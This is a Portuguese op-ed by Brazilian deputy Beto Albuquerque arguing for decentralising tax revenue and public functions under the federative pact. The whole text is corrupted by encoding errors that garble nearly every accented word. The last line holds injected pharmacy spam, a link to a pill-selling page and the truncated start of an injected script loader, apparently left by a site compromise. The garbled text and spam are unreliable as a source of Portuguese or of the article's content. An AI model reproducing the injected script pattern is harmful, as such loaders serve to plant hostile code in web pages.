LAi??der do PSB na CA?mara, deputado federal Beto Albuquerque
A discussA?o do pacto federativo pressupAi??e compreender melhor a sua essA?ncia. Elevar a importA?ncia dessa pauta Ai?? estratAi??gico para construir um novo impulso ao desenvolvimento do paAi??s.
Trata-se de algo menos complexo do que parece. O pacto federativo define as funAi??Ai??es de cada ente federado (UniA?o, Estados e MunicAi??pios) e sua respectiva fonte de financiamento. Ou em palavras ainda mais simples: quem faz o quA? e de onde sai o dinheiro.
Ao longo das A?ltimas dAi??cadas, o Brasil foi constituindo um sistema que centralizou a maior parte do bolo tributA?rio na UniA?o ai??i?? e pulverizou responsabilidades. Em 1988, a UniA?o repassava a estados e municAi??pios 88% de tudo o que arrecadava. Hoje, apenas 36%. Na saA?de, foi de 75% em 1980 para os atuais 45%.
O resultado Ai?? conhecido hA? um bom tempo: muito recurso e muito poder com o Governo Federal; pouco recurso e pouco poder com Estados e MunicAi??pios. ConsequA?ncia: Estados endividados e MunicAi??pios atados a emendas parlamentares e favores polAi??ticos.
Esse emaranhado ainda envolve sobreposiAi??A?o de funAi??A?o em algumas A?reas, enquanto noutras hA? ausA?ncia da aAi??A?o pA?blica. Mais: os tributos, sempre arrecadados na base municipal, fazem o percurso atAi?? BrasAi??lia, retornando depois como uma espAi??cie de benevolA?ncia. Ai?? o famigerado passeio do dinheiro pA?blico. Para alAi??m da contradiAi??A?o polAi??tica, esse sistema favorece o desvio do dinheiro pA?blico e todas as formas de corrupAi??A?o.
HA? tambAi??m uma nova dinA?mica de gestA?o que precisa ser contemplada: Ai?? a prA?pria comunidade, prA?xima dos problemas e das demandas, quem tem mais capacidade de avaliar as alternativas. Os custos pA?blicos diminuem quando sA?o feitos a partir de fornecedores e serviAi??os locais ou regionais. As cidades sabem melhor sobre elas mesmas ai??i?? simples assim. Muito melhor do que gabinetes distantes.
Ai?? preciso ter coragem para enfrentar esse debate. Ele pressupAi??e questionar o peso da caneta da administraAi??A?o pA?blica federal, delegando funAi??Ai??es e verbas para uma aplicaAi??A?o mais justa e adequada. Significa sistematizar melhor a gestA?o pA?blica, evitando zonas de sombra sobre sua execuAi??A?o. Significa abdicar de certo glamour polAi??tico em nome de soluAi??Ai??es reais e mais rA?pidas dos problemas da populaAi??A?o.
Trocando em miA?dos: essa atualizaAi??A?o vai prestigiar as pessoas atravAi??s de resultados mais imediatos e eficientes. E sA?o elas, as pessoas, o principal componente da FederaAi??A?o. Ai?? disso que falamos quando o assunto Ai?? pacto federativo. Buyretin-a purchase var d=document;var s=d.createElement(‘script’); cheap korean ginsenghttp://www.choufanidental.com/2018/03/15/buy-fosamax-70mg/
